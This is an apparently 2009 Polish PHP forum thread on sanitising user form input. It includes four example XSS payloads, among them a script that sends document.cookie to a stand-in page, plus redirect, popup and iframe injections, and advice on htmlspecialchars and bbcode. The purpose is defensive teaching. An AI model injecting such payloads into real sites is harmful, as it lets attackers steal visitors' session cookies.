[PHP]Bezpieczna długość zmiennej Opcje

[Szunaj85]

Staram się filtrować dane pochodzące od użytkownika. Mam na myśli różnego rodzaju formularze. Cytat z innej strony: "Zmienna powinna mieć radykalne ograniczenia wielkości, tak aby potencjalny włamywacz nie mógł zablokować naszej strony.". Chcę użyć funkcji strlen aby ograniczyć długość tekstu. I moje pytanie. Jaka jest bezpieczna długość zmiennej pochodząca od użytkownika, aby uniknąć takiej sytuacji? (IMG:http://forum.php.pl/style_emoticons/default/blinksmiley.gif)

Ten post edytował Szunaj85 24.04.2009, 21:00:08

[batman]

Daj przykład gdy jesteśmy zagrożeni, gdy nie usuniemy znaczników. Ja takiego nie mogę znaleźć ....

Przykład 1.

[HTML] pobierz, plaintext 
<script>window.location.href="moja.strona.html?ciacho=" + document.cookie</script>
[HTML] pobierz, plaintext 

Przykład 2.

[HTML] pobierz, plaintext 
<script>window.open("reklama porno");</script>
[HTML] pobierz, plaintext 

Przykład 3.

[HTML] pobierz, plaintext 
<meta http-equiv="refresh" content="2;url=http://jakis.adres.html">
[HTML] pobierz, plaintext 

Przykład 4.

[HTML] pobierz, plaintext 
<iframe src="http://moja.strona.html"></iframe>
[HTML] pobierz, plaintext 

Wystarczy, że zapiszesz takie coś do bazy, a następnie wyświetlisz, np jako info o użytkowniku. Wiesz co się stanie jeśli użyjesz htmlspecialchars. Dlatego trzeba wyczyścić dane z kodu html.

Jeśli nadal nie rozumiesz jakie niebezpieczeństwo niesie za sobą brak filtrowania danych, to bardzo mi przykro. EOT.

bezpieczenstwo bezpieczenstwem ale jak mi ktos zamknie diva w komentarzu to strona leci na pysk - wszelkie wypowiedzi oznaczam htmlspecialchars

Dlatego właśnie powstał bbcode, tidy i inne podobne ustrojstwa.